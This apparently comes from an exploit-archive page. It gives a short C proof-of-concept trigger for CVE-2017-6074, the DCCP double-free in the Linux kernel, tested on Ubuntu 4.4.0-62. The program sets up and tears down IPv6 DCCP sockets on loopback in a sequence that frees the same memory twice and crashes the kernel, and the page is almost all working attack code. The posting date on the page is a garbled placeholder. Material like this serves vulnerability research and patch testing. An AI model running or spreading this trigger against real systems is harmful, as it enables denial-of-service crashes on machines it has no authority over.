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Linux Kernel 4.4.0 Ubuntu DCCP Double-Free Crash

Posted on 30 November -0001

<HTML><HEAD><TITLE>Linux Kernel 4.4.0 Ubuntu DCCP Double-Free Crash</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>// A trigger for CVE-2017-6074, crashes kernel. // Tested on 4.4.0-62-generic #83-Ubuntu kernel. // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074 // // Andrey Konovalov <andreyknvl@gmail.com> #define _GNU_SOURCE #include <netinet/ip.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <stdarg.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> int main() { struct sockaddr_in6 sa1; sa1.sin6_family = AF_INET6; sa1.sin6_port = htons(20002); inet_pton(AF_INET6, "::1", &sa1.sin6_addr); sa1.sin6_flowinfo = 0; sa1.sin6_scope_id = 0; int optval = 8; int s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); bind(s1, &sa1, 0x20); listen(s1, 0x9); setsockopt(s1, IPPROTO_IPV6, IPV6_RECVPKTINFO, &optval, 4); int s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP); connect(s2, &sa1, 0x20); shutdown(s1, SHUT_RDWR); close(s1); shutdown(s2, SHUT_RDWR); close(s2); return 0; } </BODY></HTML>

 

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